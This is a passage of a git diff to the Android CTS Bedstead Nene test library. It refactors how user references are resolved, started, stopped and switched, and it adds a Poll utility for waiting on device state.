+                    AdbUser.UserState.RUNNING_UNLOCKING)
+    );
+
+    private static final String LOG_TAG = "UserReference";
+
     private final int mId;
 
-    UserReference(TestApis testApis, int id) {
-        if (testApis == null) {
-            throw new NullPointerException();
-        }
-        mTestApis = testApis;
+    private final UserManager mUserManager;
+
+    private Long mSerialNo;
+    private String mName;
+    private UserType mUserType;
+    private Boolean mIsPrimary;
+    private boolean mParentCached = false;
+    private UserReference mParent;
+
+    UserReference(int id) {
         mId = id;
+        mUserManager = TestApis.context().androidContextAsUser(this)
+                .getSystemService(UserManager.class);
     }
 
     public final int id() {
@@ -62,30 +89,25 @@
     }
 
     /**
-     * Get the current state of the {@link User} from the device, or {@code null} if the user does
-     * not exist.
-     */
-    @Nullable
-    public final User resolve() {
-        return mTestApis.users().fetchUser(mId);
-    }
-
-    /**
      * Remove the user from the device.
      *
      * <p>If the user does not exist, or the removal fails for any other reason, a
      * {@link NeneException} will be thrown.
      */
     public final void remove() {
-        // TODO(scottjonathan): There's a potential issue here as when the user is marked as
-        //  "is removing" the DPC still can't be uninstalled because it's set as the profile owner.
         try {
             // Expected success string is "Success: removed user"
             ShellCommand.builder("pm remove-user")
                     .addOperand(mId)
                     .validate(ShellCommandUtils::startsWithSuccess)
                     .execute();
-            mTestApis.users().waitForUserToNotExistOrMatch(this, User::isRemoving);
+
+            Poll.forValue("User exists", this::exists)
+                    .toBeEqualTo(false)
+                    // TODO(b/203630556): Reduce timeout once we have a faster way of removing users
+                    .timeout(Duration.ofMinutes(1))
+                    .errorOnFail()
+                    .await();
         } catch (AdbException e) {
             throw new NeneException("Could not remove user " + this, e);
         }
@@ -94,8 +116,7 @@
     /**
      * Start the user.
      *
-     * <p>After calling this command, the user will be in the {@link UserState#RUNNING_UNLOCKED}
-     * state.
+     * <p>After calling this command, the user will be running unlocked.
      *
      * <p>If the user does not exist, or the start fails for any other reason, a
      * {@link NeneException} will be thrown.
@@ -109,11 +130,12 @@
                     .addOperand("-w")
                     .validate(ShellCommandUtils::startsWithSuccess)
                     .execute();
-            User waitedUser = mTestApis.users().waitForUserToNotExistOrMatch(
-                    this, (user) -> user.state() == UserState.RUNNING_UNLOCKED);
-            if (waitedUser == null) {
-                throw new NeneException("User does not exist " + this);
-            }
+
+            Poll.forValue("User running unlocked", () -> isRunning() && isUnlocked())
+                    .toBeEqualTo(true)
+                    .errorOnFail()
+                    .timeout(Duration.ofMinutes(1))
+                    .await();
         } catch (AdbException e) {
             throw new NeneException("Could not start user " + this, e);
         }
@@ -124,7 +146,7 @@
     /**
      * Stop the user.
      *
-     * <p>After calling this command, the user will be in the {@link UserState#NOT_RUNNING} state.
+     * <p>After calling this command, the user will be not running.
      */
     public UserReference stop() {
         try {
@@ -135,11 +157,13 @@
                     .allowEmptyOutput(true)
                     .validate(String::isEmpty)
                     .execute();
-            User waitedUser = mTestApis.users().waitForUserToNotExistOrMatch(
-                    this, (user) -> user.state() == UserState.NOT_RUNNING);
-            if (waitedUser == null) {
-                throw new NeneException("User does not exist " + this);
-            }
+
+            Poll.forValue("User running", this::isRunning)
+                    .toBeEqualTo(false)
+                    // TODO(b/203630556): Replace stopping with something faster
+                    .timeout(Duration.ofMinutes(10))
+                    .errorOnFail()
+                    .await();
         } catch (AdbException e) {
             throw new NeneException("Could not stop user " + this, e);
         }
@@ -149,19 +173,37 @@
 
     /**
      * Make the user the foreground user.
+     *
+     * <p>If the user is a profile, then this will make the parent the foreground user. It will
+     * still return the {@link UserReference} of the profile in that case.
      */
     public UserReference switchTo() {
+        UserReference parent = parent();
+        if (parent != null) {
+            parent.switchTo();
+            return this;
+        }
+
+        if (TestApis.users().current().equals(this)) {
+            // Already switched to
+            return this;
+        }
+
+        // This is created outside of the try because we don't want to wait for the broadcast
+        // on versions less than R
         BlockingBroadcastReceiver broadcastReceiver =
-                new BlockingBroadcastReceiver(mTestApis.context().instrumentedContext(),
+                new BlockingBroadcastReceiver(TestApis.context().instrumentedContext(),
                         Intent.ACTION_USER_FOREGROUND,
                         (intent) ->((UserHandle)
                                 intent.getParcelableExtra(Intent.EXTRA_USER))
                                 .getIdentifier() == mId);
 
         try {
-            try (PermissionContext p =
-                         mTestApis.permissions().withPermission(INTERACT_ACROSS_USERS_FULL)) {
-                broadcastReceiver.registerForAllUsers();
+            if (Versions.meetsMinimumSdkVersionRequirement(R)) {
+                try (PermissionContext p =
+                             TestApis.permissions().withPermission(INTERACT_ACROSS_USERS_FULL)) {
+                    broadcastReceiver.registerForAllUsers();
+                }
             }
 
             // Expects no output on success or failure
@@ -171,9 +213,15 @@
                     .validate(String::isEmpty)
                     .execute();
 
-            broadcastReceiver.awaitForBroadcast();
+            if (Versions.meetsMinimumSdkVersionRequirement(R)) {
+                broadcastReceiver.awaitForBroadcast();
+            } else {
+                Thread.sleep(20000);
+            }
         } catch (AdbException e) {
             throw new NeneException("Could not switch to user", e);
+        } catch (InterruptedException e) {
+            Log.e(LOG_TAG, "Interrupted while switching user", e);
         } finally {
             broadcastReceiver.unregisterQuietly();
         }
@@ -181,6 +229,148 @@
         return this;
     }
 
+    /** Get the serial number of the user. */
+    public long serialNo() {
+        if (mSerialNo == null) {
+            mSerialNo = TestApis.context().instrumentedContext().getSystemService(UserManager.class)
+                    .getSerialNumberForUser(userHandle());
+
+            if (mSerialNo == -1) {
+                mSerialNo = null;
+                throw new NeneException("User does not exist " + this);
+            }
+        }
+
+        return mSerialNo;
+    }
+
+    /** Get the name of the user. */
+    public String name() {
+        if (mName == null) {
+            if (!Versions.meetsMinimumSdkVersionRequirement(S)) {
+                mName = adbUser().name();
+            } else {
+                try (PermissionContext p = TestApis.permissions().withPermission(CREATE_USERS)) {
+                    mName = TestApis.context().androidContextAsUser(this)
+                            .getSystemService(UserManager.class)
+                            .getUserName();
+                }
+                if (mName.equals("")) {
+                    if (!exists()) {
+                        mName = null;
+                        throw new NeneException("User does not exist " + this);
+                    }
+                }
+            }
+        }
+
+        return mName;
+    }
+
+    /** Is the user running? */
+    public boolean isRunning() {
+        if (!Versions.meetsMinimumSdkVersionRequirement(S)) {
+            AdbUser adbUser = adbUserOrNull();
+            if (adbUser == null) {
+                return false;
+            }
+            return RUNNING_STATES.contains(adbUser().state());
+        }
+        try (PermissionContext p = TestApis.permissions().withPermission(INTERACT_ACROSS_USERS)) {
+            return mUserManager.isUserRunning(userHandle());
+        }
+    }
+
+    /** Is the user unlocked? */
+    public boolean isUnlocked() {
+        if (!Versions.meetsMinimumSdkVersionRequirement(S)) {
+            AdbUser adbUser = adbUserOrNull();
+            if (adbUser == null) {
+                return false;
+            }
+            return adbUser.state().equals(AdbUser.UserState.RUNNING_UNLOCKED);
+        }
+        try (PermissionContext p = TestApis.permissions().withPermission(INTERACT_ACROSS_USERS)) {
+            return mUserManager.isUserUnlocked(userHandle());
+        }
+    }
+
+    /**
+     * Get the user type.
+     */
+    public UserType type() {
+        if (mUserType == null) {
+            if (!Versions.meetsMinimumSdkVersionRequirement(S)) {
+                mUserType = adbUser().type();
+            } else {
+                try (PermissionContext p = TestApis.permissions().withPermission(CREATE_USERS)) {
+                    String userTypeName = mUserManager.getUserType();
+                    if (userTypeName.equals("")) {
+                        throw new NeneException("User does not exist " + this);
+                    }
+                    mUserType = TestApis.users().supportedType(userTypeName);
+                }
+            }
+        }
+        return mUserType;
+    }
+
+    /**
+     * Return {@code true} if this is the primary user.
+     */
+    public Boolean isPrimary() {
+        if (mIsPrimary == null) {
+            if (!Versions.meetsMinimumSdkVersionRequirement(S)) {
+                mIsPrimary = adbUser().isPrimary();
+            } else {
+                mIsPrimary = userInfo().isPrimary();
+            }
+        }
+
+        return mIsPrimary;
+    }
+
+    /**
+     * Return the parent of this profile.
+     *
+     * <p>Returns {@code null} if this user is not a profile.
+     */
+    @Nullable
+    public UserReference parent() {
+        if (!mParentCached) {
+            if (!Versions.meetsMinimumSdkVersionRequirement(S)) {
+                mParent = adbUser().parent();
+            } else {
+                try (PermissionContext p =
+                             TestApis.permissions().withPermission(INTERACT_ACROSS_USERS)) {
+                    UserHandle parentHandle = mUserManager.getProfileParent(userHandle());
+                    if (parentHandle == null) {
+                        if (!exists()) {
+                            throw new NeneException("User does not exist " + this);
+                        }
+
+                        mParent = null;
+                    } else {
+                        mParent = TestApis.users().find(parentHandle);
+                    }
+                }
+            }
+            mParentCached = true;
+        }
+
+        return mParent;
+    }
+
+    /**
+     * Return {@code true} if a user with this ID exists.
+     */
+    public boolean exists() {
+        if (!Versions.meetsMinimumSdkVersionRequirement(S)) {
+            return TestApis.users().all().stream().anyMatch(u -> u.equals(this));
+        }
+        return users().anyMatch(ui -> ui.id == id());
+    }
+
     @Override
     public boolean equals(Object obj) {
         if (!(obj instanceof UserReference)) {
@@ -202,4 +392,26 @@
     public void close() {
         remove();
     }
+
+    private AdbUser adbUserOrNull() {
+        return TestApis.users().fetchUser(mId);
+    }
+
+    private AdbUser adbUser() {
+        AdbUser user = adbUserOrNull();
+        if (user == null) {
+            throw new NeneException("User does not exist " + this);
+        }
+        return user;
+    }
+
+    private UserInfo userInfo() {
+        return users().filter(ui -> ui.id == id()).findFirst()
+                .orElseThrow(() -> new NeneException("User does not exist " + this));
+    }
+
+    @Override
+    public String toString() {
+        return "User{id=" + id() + "}";
+    }
 }
diff --git a/common/device-side/bedstead/nene/src/main/java/com/android/bedstead/nene/users/Users.java b/common/device-side/bedstead/nene/src/main/java/com/android/bedstead/nene/users/Users.java
index cd029ed..8813a46 100644
--- a/common/device-side/bedstead/nene/src/main/java/com/android/bedstead/nene/users/Users.java
+++ b/common/device-side/bedstead/nene/src/main/java/com/android/bedstead/nene/users/Users.java
@@ -16,15 +16,24 @@
 
 package com.android.bedstead.nene.users;
 
+import static android.Manifest.permission.CREATE_USERS;
+import static android.Manifest.permission.INTERACT_ACROSS_USERS;
+import static android.Manifest.permission.INTERACT_ACROSS_USERS_FULL;
 import static android.os.Build.VERSION.SDK_INT;
+import static android.os.Build.VERSION_CODES.S;
+import static android.os.Build.VERSION_CODES.S_V2;
 import static android.os.Process.myUserHandle;
 
 import static com.android.bedstead.nene.users.UserType.MANAGED_PROFILE_TYPE_NAME;
 import static com.android.bedstead.nene.users.UserType.SECONDARY_USER_TYPE_NAME;
 import static com.android.bedstead.nene.users.UserType.SYSTEM_USER_TYPE_NAME;
 
+import android.app.ActivityManager;
+import android.content.Context;
+import android.content.pm.UserInfo;
 import android.os.Build;
 import android.os.UserHandle;
+import android.os.UserManager;
 
 import androidx.annotation.CheckResult;
 import androidx.annotation.Nullable;
@@ -33,40 +42,102 @@
 import com.android.bedstead.nene.exceptions.AdbException;
 import com.android.bedstead.nene.exceptions.AdbParseException;
 import com.android.bedstead.nene.exceptions.NeneException;
+import com.android.bedstead.nene.permissions.PermissionContext;
+import com.android.bedstead.nene.permissions.Permissions;
+import com.android.bedstead.nene.utils.Poll;
 import com.android.bedstead.nene.utils.ShellCommand;
-import com.android.compatibility.common.util.PollingCheck;
+import com.android.bedstead.nene.utils.Versions;
 
+import java.time.Duration;
+import java.util.ArrayList;
 import java.util.Collection;
+import java.util.Comparator;
 import java.util.HashMap;
 import java.util.HashSet;
 import java.util.Iterator;
+import java.util.List;
 import java.util.Map;
 import java.util.Set;
-import java.util.concurrent.atomic.AtomicReference;
 import java.util.function.Function;
 import java.util.stream.Collectors;
+import java.util.stream.Stream;
 
 public final class Users {
 
     static final int SYSTEM_USER_ID = 0;
-    private static final long WAIT_FOR_USER_TIMEOUT_MS = 1000 * 60;
+    private static final Duration WAIT_FOR_USER_TIMEOUT = Duration.ofMinutes(4);
 
-    private Map<Integer, User> mCachedUsers = null;
+    private Map<Integer, AdbUser> mCachedUsers = null;
     private Map<String, UserType> mCachedUserTypes = null;
     private Set<UserType> mCachedUserTypeValues = null;
     private final AdbUserParser mParser;
-    private final TestApis mTestApis;
+    private static final UserManager sUserManager =
+            TestApis.context().instrumentedContext().getSystemService(UserManager.class);
 
-    public Users(TestApis testApis) {
-        mTestApis = testApis;
-        mParser = AdbUserParser.get(mTestApis, SDK_INT);
+    public static final Users sInstance = new Users();
+
+    private Users() {
+        mParser = AdbUserParser.get(SDK_INT);
     }
 
-    /** Get all {@link User}s on the device. */
-    public Collection<User> all() {
-        fillCache();
+    /** Get all {@link UserReference}s on the device. */
+    public Collection<UserReference> all() {
+        if (!Versions.meetsMinimumSdkVersionRequirement(S)) {
+            fillCache();
+            return mCachedUsers.keySet().stream().map(UserReference::new)
+                    .collect(Collectors.toSet());
+        }
 
-        return mCachedUsers.values();
+        return users().map(
+                ui -> new UserReference(ui.id)
+        ).collect(Collectors.toSet());
+    }
+
+    /**
+     * Gets a {@link UserReference} for the initial user for the device.
+     *
+     * <p>This will be the {@link #system()} user on most systems.</p>
+     */
+    public UserReference initial() {
+        if (!isHeadlessSystemUserMode()) {
+            return system();
+        }
+        if (TestApis.packages().features().contains("android.hardware.type.automotive")) {
+            try {
+                return ShellCommand.builder("cmd car_service get-initial-user")
+                        .executeAndParseOutput(i -> find(Integer.parseInt(i.trim())));
+            } catch (AdbException e) {
+                throw new NeneException("Error finding initial user on Auto", e);
+            }
+        }
+
+        List<UserReference> users = new ArrayList<>(all());
+        users.sort(Comparator.comparingInt(UserReference::id));
+
+        for (UserReference user : users) {
+            if (user.parent() == null) {
+                return user;
+            }
+        }
+
+        throw new NeneException("No initial user available");
+    }
+
+    /** Get a {@link UserReference} for the user currently switched to. */
+    public UserReference current() {
+        if (Versions.meetsMinimumSdkVersionRequirement(S)) {
+            try (PermissionContext p =
+                         TestApis.permissions().withPermission(INTERACT_ACROSS_USERS_FULL)) {
+                return find(ActivityManager.getCurrentUser());
+            }
+        }
+
+        try {
+            return find((int) ShellCommand.builder("am get-current-user")
+                    .executeAndParseOutput(i -> Integer.parseInt(i.trim())));
+        } catch (AdbException e) {
+            throw new NeneException("Error getting current user", e);
+        }
     }
 
     /** Get a {@link UserReference} for the user running the current test process. */
@@ -81,30 +152,23 @@
 
     /** Get a {@link UserReference} by {@code id}. */
     public UserReference find(int id) {
-        return new UnresolvedUser(mTestApis, id);
+        return new UserReference(id);
     }
 
     /** Get a {@link UserReference} by {@code userHandle}. */
     public UserReference find(UserHandle userHandle) {
-        return new UnresolvedUser(mTestApis, userHandle.getIdentifier());
-    }
-
-    @Nullable
-    User fetchUser(int id) {
-        // TODO(scottjonathan): fillCache probably does more than we need here -
-        //  can we make it more efficient?
-        fillCache();
-
-        return mCachedUsers.get(id);
+        return new UserReference(userHandle.getIdentifier());
     }
 
     /** Get all supported {@link UserType}s. */
     public Set<UserType> supportedTypes() {
+        // TODO(b/203557600): Stop using adb
         ensureSupportedTypesCacheFilled();
         return mCachedUserTypeValues;
     }
 
     /** Get a {@link UserType} with the given {@code typeName}, or {@code null} */
+    @Nullable
     public UserType supportedType(String typeName) {
         ensureSupportedTypesCacheFilled();
         return mCachedUserTypes.get(typeName);
@@ -243,21 +307,28 @@
      */
     @CheckResult
     public UserBuilder createUser() {
-        return new UserBuilder(mTestApis);
+        return new UserBuilder();
     }
 
     /**
      * Get a {@link UserReference} to a user who does not exist.
      */
     public UserReference nonExisting() {
-        fillCache();
+        Set<Integer> userIds;
+        if (Versions.meetsMinimumSdkVersionRequirement(S)) {
+            userIds = users().map(ui -> ui.id).collect(Collectors.toSet());
+        } else {
+            fillCache();
+            userIds = mCachedUsers.keySet();
+        }
+
         int id = 0;
 
-        while (mCachedUsers.get(id) != null) {
+        while (userIds.contains(id)) {
             id++;
         }
 
-        return new UnresolvedUser(mTestApis, id);
+        return new UserReference(id);
     }
 
     private void fillCache() {
@@ -273,10 +344,10 @@
                 ensureSupportedTypesCacheFilled();
             }
 
-            Iterator<Map.Entry<Integer, User>> iterator = mCachedUsers.entrySet().iterator();
+            Iterator<Map.Entry<Integer, AdbUser>> iterator = mCachedUsers.entrySet().iterator();
 
             while (iterator.hasNext()) {
-                Map.Entry<Integer, User> entry = iterator.next();
+                Map.Entry<Integer, AdbUser> entry = iterator.next();
 
                 if (entry.getValue().isRemoving()) {
                     // We don't expose users who are currently being removed
@@ -284,13 +355,13 @@
                     continue;
                 }
 
-                User.MutableUser mutableUser = entry.getValue().mMutableUser;
+                AdbUser.MutableUser mutableUser = entry.getValue().mMutableUser;
 
                 if (SDK_INT < Build.VERSION_CODES.R) {
                     if (entry.getValue().id() == SYSTEM_USER_ID) {
                         mutableUser.mType = supportedType(SYSTEM_USER_TYPE_NAME);
                         mutableUser.mIsPrimary = true;
-                    } else if (entry.getValue().hasFlag(User.FLAG_MANAGED_PROFILE)) {
+                    } else if (entry.getValue().hasFlag(AdbUser.FLAG_MANAGED_PROFILE)) {
                         mutableUser.mType =
                                 supportedType(MANAGED_PROFILE_TYPE_NAME);
                         mutableUser.mIsPrimary = false;
@@ -301,7 +372,7 @@
                     }
                 }
 
-                if (SDK_INT < Build.VERSION_CODES.S) {
+                if (SDK_INT < S) {
                     if (mutableUser.mType.baseType()
                             .contains(UserType.BaseType.PROFILE)) {
                         // We assume that all profiles before S were on the System User
@@ -319,54 +390,90 @@
     }
 
     /**
-     * Block until the user with the given {@code userReference} exists and is in the correct state.
-     *
-     * <p>If this cannot be met before a timeout, a {@link NeneException} will be thrown.
-     */
-    User waitForUserToMatch(UserReference userReference, Function<User, Boolean> userChecker) {
-        return waitForUserToMatch(userReference, userChecker, /* waitForExist= */ true);
-    }
-
-    /**
      * Block until the user with the given {@code userReference} to not exist or to be in the
      * correct state.
      *
      * <p>If this cannot be met before a timeout, a {@link NeneException} will be thrown.
      */
     @Nullable
-    User waitForUserToNotExistOrMatch(
-            UserReference userReference, Function<User, Boolean> userChecker) {
+    UserReference waitForUserToNotExistOrMatch(
+            UserReference userReference, Function<UserReference, Boolean> userChecker) {
         return waitForUserToMatch(userReference, userChecker, /* waitForExist= */ false);
     }
 
     @Nullable
-    private User waitForUserToMatch(
-            UserReference userReference, Function<User, Boolean> userChecker,
+    private UserReference waitForUserToMatch(
+            UserReference userReference, Function<UserReference, Boolean> userChecker,
             boolean waitForExist) {
         // TODO(scottjonathan): This is pretty heavy because we resolve everything when we know we
         //  are throwing away everything except one user. Optimise
         try {
-            AtomicReference<User> returnUser = new AtomicReference<>();
-            PollingCheck.waitFor(WAIT_FOR_USER_TIMEOUT_MS, () -> {
-                User user = userReference.resolve();
-                returnUser.set(user);
-                if (user == null) {
-                    return !waitForExist;
-                }
-                return userChecker.apply(user);
-            });
-            return returnUser.get();
+            return Poll.forValue("user", () -> userReference)
+                    .toMeet((user) -> {
+                        if (user == null) {
+                            return !waitForExist;
+                        }
+                        return userChecker.apply(user);
+                    }).timeout(WAIT_FOR_USER_TIMEOUT)
+                    .errorOnFail("Expected user to meet requirement")
+                    .await();
         } catch (AssertionError e) {
-            User user = userReference.resolve();
-
-            if (user == null) {
+            if (!userReference.exists()) {
                 throw new NeneException(
                         "Timed out waiting for user state for user "
                                 + userReference + ". User does not exist.", e);
             }
             throw new NeneException(
-                    "Timed out waiting for user state, current state " + user, e
+                    "Timed out waiting for user state, current state " + userReference, e
             );
         }
     }
+
+    /** See {@link UserManager#isHeadlessSystemUserMode()}. */
+    @SuppressWarnings("NewApi")
+    public boolean isHeadlessSystemUserMode() {
+        if (Versions.meetsMinimumSdkVersionRequirement(S)) {
+            return UserManager.isHeadlessSystemUserMode();
+        }
+
+        return false;
+    }
+
+    /**
+     * Set the stopBgUsersOnSwitch property.
+     *
+     * <p>This affects if background users will be swapped when switched away from on some devices.
+     */
+    public void setStopBgUsersOnSwitch(int value) {
+        if (!Versions.meetsMinimumSdkVersionRequirement(S_V2)) {
+            return;
+        }
+        Context context = TestApis.context().instrumentedContext();
+        try (PermissionContext p = TestApis.permissions()
+                .withPermission(INTERACT_ACROSS_USERS)) {
+            context.getSystemService(ActivityManager.class).setStopUserOnSwitch(value);
+        }
+    }
+
+    @Nullable
+    AdbUser fetchUser(int id) {
+        fillCache();
+        return mCachedUsers.get(id);
+    }
+
+    static Stream<UserInfo> users() {
+        if (Permissions.sIgnorePermissions.get()) {
+            return sUserManager.getUsers(
+                    /* excludePartial= */ false,
+                    /* excludeDying= */ true,
+                    /* excludePreCreated= */ false).stream();
+        }
+
+        try (PermissionContext p = TestApis.permissions().withPermission(CREATE_USERS)) {
+            return sUserManager.getUsers(
+                    /* excludePartial= */ false,
+                    /* excludeDying= */ true,
+                    /* excludePreCreated= */ false).stream();
+        }
+    }
 }
diff --git a/common/device-side/bedstead/nene/src/main/java/com/android/bedstead/nene/utils/BlockingIntentSender.java b/common/device-side/bedstead/nene/src/main/java/com/android/bedstead/nene/utils/BlockingIntentSender.java
index 717180a..a3f5007 100644
--- a/common/device-side/bedstead/nene/src/main/java/com/android/bedstead/nene/utils/BlockingIntentSender.java
+++ b/common/device-side/bedstead/nene/src/main/java/com/android/bedstead/nene/utils/BlockingIntentSender.java
@@ -70,7 +70,10 @@
         Intent intent = new Intent(mAction);
         intent.setPackage(mTestApis.context().instrumentedContext().getPackageName());
         PendingIntent pendingIntent = PendingIntent.getBroadcast(
-                mTestApis.context().instrumentedContext(), 0, intent, /* flags= */ 0);
+                mTestApis.context().instrumentedContext(),
+                /* requestCode= */ 0,
+                intent,
+                PendingIntent.FLAG_MUTABLE);
         mIntentSender = pendingIntent.getIntentSender();
     }
 
diff --git a/common/device-side/bedstead/nene/src/main/java/com/android/bedstead/nene/utils/Poll.java b/common/device-side/bedstead/nene/src/main/java/com/android/bedstead/nene/utils/Poll.java
new file mode 100644
index 0000000..d687ab9
--- /dev/null
+++ b/common/device-side/bedstead/nene/src/main/java/com/android/bedstead/nene/utils/Poll.java
@@ -0,0 +1,314 @@
+/*
+ * Copyright (C) 2021 The Android Open Source Project
+ *
+ * Licensed under the Apache License, Version 2.0 (the "License");
+ * you may not use this file except in compliance with the License.
+ * You may obtain a copy of the License at
+ *
+ *      http://www.apache.org/licenses/LICENSE-2.0
+ *
+ * Unless required by applicable law or agreed to in writing, software
+ * distributed under the License is distributed on an "AS IS" BASIS,
+ * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+ * See the License for the specific language governing permissions and
+ * limitations under the License.
+ */
+
+package com.android.bedstead.nene.utils;
+
+import android.util.Log;
+
+import com.android.bedstead.nene.exceptions.NeneException;
+import com.android.bedstead.nene.exceptions.PollValueFailedException;
+
+import java.time.Duration;
+import java.time.Instant;
+import java.util.Objects;
+import java.util.function.Function;
+import java.util.function.Supplier;
+
+/**
+ * Utility class for polling for some state to be reached.
+ *
+ * <p>To use, you first use {@link #forValue(String, ValueSupplier)} to supply the value to be
+ * polled on. It is recommended you provide a descriptive name of the source of the value to improve
+ * failure messages.
+ *
+ * <p>Then you specify the criteria you are polling for, simple criteria are provided
+ * (e.g. {@link #toBeNull()}, {@link #toBeEqualTo(Object)}, etc.) and these should be preferred when
+ * possible as they provide good failure messages by default. If your state cannot be queried using
+ * a simple matcher, you can use {@link #toMeet(ValueChecker)} and pass in an arbitrary function to
+ * check the value.
+ *
+ * <p>By default, this will poll up to {@link #timeout(Duration)} (defaulting to 30 seconds), and
+ * will return after the timeout whatever the value is at that time. If you'd rather a
+ * {@link NeneException} is thrown, you can use {@link #errorOnFail()}.
+ *
+ * <p>You can add more context to failures using the overloaded versions of {@link #errorOnFail()}.
+ * In particular, you should do this if you're using {@link #toMeet(ValueChecker)} as otherwise the
+ * failure message is not helpful.
+ *
+ * <p>Any exceptions thrown when getting the value or when checking it will result in that check
+ * failing and a retry happening. If this is the final iteration the exception will be thrown
+ * wrapped in a {@link NeneException}.
+ *
+ * <p>You should not use this class to retry some state changing logic until it succeeds - it should
+ * only be used for polling a value until it reaches the value you want.
+ */
+public final class Poll<E> {
+
+    private static final String LOG_TAG = Poll.class.getName();
+
+    private static final Duration DEFAULT_TIMEOUT = Duration.ofSeconds(30);
+    private static final long SLEEP_MILLIS = 200;
+    private final String mValueName;
+    private final ValueSupplier<E> mSupplier;
+    private ValueChecker<E> mChecker = (v) -> true;
+    private Function<E, Boolean> mTerminalValueChecker;
+    private Function<Throwable, Boolean> mTerminalExceptionChecker;
+    private Function2<String, E, String> mErrorSupplier =
+            (valueName, value) -> "Expected "
+                    + valueName + " to meet checker function. Was " + value;
+    private Duration mTimeout = DEFAULT_TIMEOUT;
+    private boolean mErrorOnFail = false;
+
+    private Poll(String valueName, ValueSupplier<E> supplier) {
+        mValueName = valueName;
+        mSupplier = supplier;
+    }
+
+    /**
+     * Begin polling for the given value.
+     *
+     * <p>In general, this method should only be used when you're using the
+     * {@link #errorOnFail(Function)} method, otherwise {@link #forValue(String, ValueSupplier)}
+     * will mean better error messages.
+     */
+    public static <E> Poll<E> forValue(ValueSupplier<E> supplier) {
+        return forValue("value", supplier);
+    }
+
+    /**
+     * Begin polling for the given value.
+     *
+     * <p>The {@code valueName} will be used in error messages.
+     */
+    public static <E> Poll<E> forValue(String valueName, ValueSupplier<E> supplier) {
+        return new Poll<>(valueName, supplier);
+    }
+
+    /** Expect the value to be null. */
+    public Poll<E> toBeNull() {
+        toMeet(Objects::isNull);
+        softErrorOnFail((valueName, value) ->
+                "Expected " + valueName + " to be null. Was " + value);
+        return this;
+    }
+
+    /** Expect the value to not be null. */
+    public Poll<E> toNotBeNull() {
+        toMeet(Objects::nonNull);
+        softErrorOnFail((valueName, value) ->
+                "Expected " + valueName + " to not be null. Was " + value);
+        return this;
+    }
+
+    /** Expect the value to be equal to {@code other}. */
+    public Poll<E> toBeEqualTo(E other) {
+        toMeet(v -> Objects.equals(v, other));
+        softErrorOnFail((valueName, value) ->
+                "Expected " + valueName + " to be equal to " + other + ". Was " + value);
+        return this;
+    }
+
+    /** Expect the value to not be equal to {@code other}. */
+    public Poll<E> toNotBeEqualTo(E other) {
+        toMeet(v -> !Objects.equals(v, other));
+        softErrorOnFail((valueName, value) ->
+                "Expected " + valueName + " to not be equal to " + other + ". Was " + value);
+        return this;
+    }
+
+    /**
+     * Expect the value to meet the requirements specified by {@code checker}.
+     *
+     * <p>If this method throws an exception, or returns false, then the value will be considered
+     * to not have met the requirements. If true is returned then the value will be considered to
+     * have met the requirements.
+     */
+    public Poll<E> toMeet(ValueChecker<E> checker) {
+        mChecker = checker;
+        return this;
+    }
+
+    /** Throw an exception on failure instead of returning the incorrect value. */
+    public Poll<E> errorOnFail() {
+        mErrorOnFail = true;
+        return this;
+    }
+
+    /**
+     * Throw an exception on failure instead of returning the incorrect value.
+     *
+     * <p>The {@code errorSupplier} will be passed the latest value. If you do not want to include
+     * the latest value in the error message (and have it auto-provided) use
+     * {@link #errorOnFail(String)}.
+     */
+    public Poll<E> errorOnFail(Function<E, String> errorSupplier) {
+        softErrorOnFail((vn, v) -> errorSupplier.apply(v));
+        mErrorOnFail = true;
+        return this;
+    }
+
+    /**
+     * Throw an exception on failure instead of returning the incorrect value.
+     *
+     * <p>The {@code error} will be used as the failure message, with the latest value added.
+     */
+    public Poll<E> errorOnFail(String error) {
+        softErrorOnFail((vn, v) -> error + ". " + vn + " was " + v);
+        mErrorOnFail = true;
+        return this;
+    }
+
+    private void softErrorOnFail(Function2<String, E, String> errorSupplier) {
+        mErrorSupplier = errorSupplier;
+    }
+
+    /** Change the default timeout before the check is considered failed (default 30 seconds). */
+    public Poll<E> timeout(Duration timeout) {
+        mTimeout = timeout;
+        return this;
+    }
+
+    /**
+     * Await the value meeting the requirements.
+     *
+     * <p>This will retry fetching and checking the value until it meets the requirements or the
+     * timeout expires.
+     *
+     * <p>By default, the most recent value will be returned even after timeout.
+     * See {@link #errorOnFail()} to change this behavior.
+     */
+    public E await() {
+        Instant startTime = Instant.now();
+        Instant endTime = startTime.plus(mTimeout);
+
+        E value = null;
+        int tries = 0;
+
+        while (!Duration.between(Instant.now(), endTime).isNegative()) {
+            tries++;
+            try {
+                value = mSupplier.get();
+                if (mChecker.apply(value)) {
+                    return value;
+                }
+                if (mTerminalValueChecker != null && mTerminalValueChecker.apply(value)) {
+                    break;
+                }
+            } catch (Throwable e) {
+                // Eat the exception until the timeout
+                Log.e(LOG_TAG, "Exception during retries", e);
+                if (mTerminalExceptionChecker != null && mTerminalExceptionChecker.apply(e)) {
+                    break;
+                }
+            }
+
+            try {
+                Thread.sleep(SLEEP_MILLIS);
+            } catch (InterruptedException e) {
+                throw new PollValueFailedException("Interrupted while awaiting", e);
+            }
+        }
+
+        if (!mErrorOnFail) {
+            return value;
+        }
+
+        // We call again to allow exceptions to be thrown - if it passes here we can still return
+        try {
+            value = mSupplier.get();
+        } catch (Throwable e) {
+            long seconds = Duration.between(startTime, Instant.now()).toMillis() / 1000;
+            throw new PollValueFailedException(mErrorSupplier.apply(mValueName, value)
+                    + " - Exception when getting value (checked " + tries + " times in "
+                    + seconds + " seconds)", e);
+        }
+
+        try {
+            if (mChecker.apply(value)) {
+                return value;
+            }
+
+            long seconds = Duration.between(startTime, Instant.now()).toMillis() / 1000;
+            throw new PollValueFailedException(
+                    mErrorSupplier.apply(mValueName, value) + " (checked " + tries + " times in "
+                            + seconds + " seconds)");
+        } catch (Throwable e) {
+            long seconds = Duration.between(startTime, Instant.now()).toMillis() / 1000;
+            throw new PollValueFailedException(
+                    mErrorSupplier.apply(mValueName, value) + " (checked " + tries + " times in "
+                            + seconds + " seconds)", e);
+
+        }
+    }
+
+    /**
+     * Set a method which, after a value fails the check, can tell if the failure is terminal.
+     *
+     * <p>This method will only be called after the value check fails. It will be passed the most
+     * recent value and should return true if this value is terminal.
+     *
+     * <p>If true is returned, then no more retries will be attempted, otherwise retries will
+     * continue until timeout.
+     */
+    public Poll<E> terminalValue(Function<E, Boolean> terminalChecker) {
+        mTerminalValueChecker = terminalChecker;
+        return this;
+    }
+
+    /**
+     * Set a method which, after a value fails the check, can tell if the failure is terminal.
+     *
